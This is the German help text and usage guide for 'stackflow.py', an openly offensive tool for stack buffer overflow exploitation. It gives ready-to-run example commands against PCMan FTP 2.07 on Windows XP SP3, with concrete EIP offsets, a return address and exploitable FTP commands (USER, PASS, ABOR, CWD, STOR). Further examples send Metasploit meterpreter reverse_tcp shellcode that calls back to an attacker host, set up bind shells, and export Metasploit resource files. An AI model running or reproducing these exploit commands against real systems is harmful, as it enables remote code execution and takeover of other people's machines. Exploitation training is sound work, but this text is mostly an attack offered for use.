
Universelles stack-basiertes Buffer-Overflow-Exploitationstool
Universelles stack-basiertes Buffer-Overfow-Exploitation-Tool
usage: ./stackflow.py OPTIONS
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
entfernte Hostadresse
-p RPORT, --rport RPORT
entfernter Port
-c CMDS, --cmds CMDS an den Server zu sendende Befehle vor dem Overflow
-v VULNCMD, --vulncmd VULNCMD
verwundbarer Befehl
-o OFFSET, --offset OFFSET
Offset zu EIP
-ao AUTOOFFSET, --autooffset AUTOOFFSET
Offset aus dem zyklischen Muster-EIP-String berechnen
-a RETURNADD, --returnadd RETURNADD
Rücksprungadresse
-n NOPS, --nops NOPS Anzahl der voranzustellenden NOPS \x90 x 4
-m PAYLOAD, --payload PAYLOAD
MSF-Payload
-i LHOST, --lhost LHOST
lokale Hostadresse
-l LPORT, --lport LPORT
lokaler Port
-f FUZZ, --fuzz FUZZ Fuzze mit zyklischem Muster der Größe
-t, --calc Sende calc.exe-Shellcode
-t1, --cmdprompt Sende cmd.exe-Shellcode
-d, --display Zeige den Exploit-Buffer an
-q, --quiet Weniger Müll anzeigen
-w TIMEOUT, --timeout TIMEOUT
Timeout für Socket (Standard: 5)
-e CFEXPORT, --cfexport CFEXPORT
Exploit-Konfiguration und Metasploit-RC-Datei exportieren
-g CFIMPORT, --cfimport CFIMPORT
Exploit aus Konfigurationsdatei importieren und ausführen
-s STANDALONE, --standalone STANDALONE
Exploit als eigenständiges Python-Skript exportieren
Alle Optionen können über die Befehlszeile eingegeben oder aus einer Konfigurationsdatei gelesen werden.
Einige Beispiele für PCMan FTP 2.07 unter WindowsXP SP3 (ENG):
Verwundbare App: http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
Exploit ohne Befehle und sende meterpreter/reverse_tcp-Shellcode, der zurück zu 192.168.0.2 auf Port 4444 ruft:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2012 -m windows/meterpreter/reverse_tcp -a 7E429353
Exploitiere den USER-Befehl und sende meterpreter/reverse_tcp-Shellcode, der zurück zu 192.168.0.2 auf Port 4444 ruft:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
Exploitiere den PASS-Befehl und sende calc.exe-Shellcode:
./stackflow.py -r 192.168.0.9 -p 21 -o 6103 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
Exploitiere den ABOR-Befehl und sende meterpreter/bind_tcp-Shellcode, der auf Port 4444 lauscht:
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'ABOR' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -l 4444 -m windows/meterpreter/bind_tcp
Exploitiere den CWD-Befehl und sende cmd.exe-Shellcode und zeige den Exploit-Buffer an:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1 -d
Fuzze den STOR-Befehl mit einem zyklischen Buffer der Größe 3000:
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS [email protected]' -f 3000
Exploitiere den CWD-Befehl mit dem Auto-Offset-String aus dem EIP nach einem Fuzzing-Absturz und sende cmd.exe-Shellcode:
./stackflow.py -r 192.168.0.9 -p 21 -ao o9Cp -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1
Exportiere das Exploit-Py- und Metasploit-RC-File:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -e revCWD -l 4444 -m windows/meterpreter/reverse_tcp -i 192.168.0.2
Starten Sie msfconsole und führen Sie den Exploit und Handler aus:
msfconsole -r revCWD.rc
Führen Sie den Exploit und Handler von msfconsole aus:
resource /path/to/revCWD.rc
Führen Sie einen Exploit aus einer Konfigurationsdatei aus (kein Handler!):
./stackflow.py -g revCWD(.py)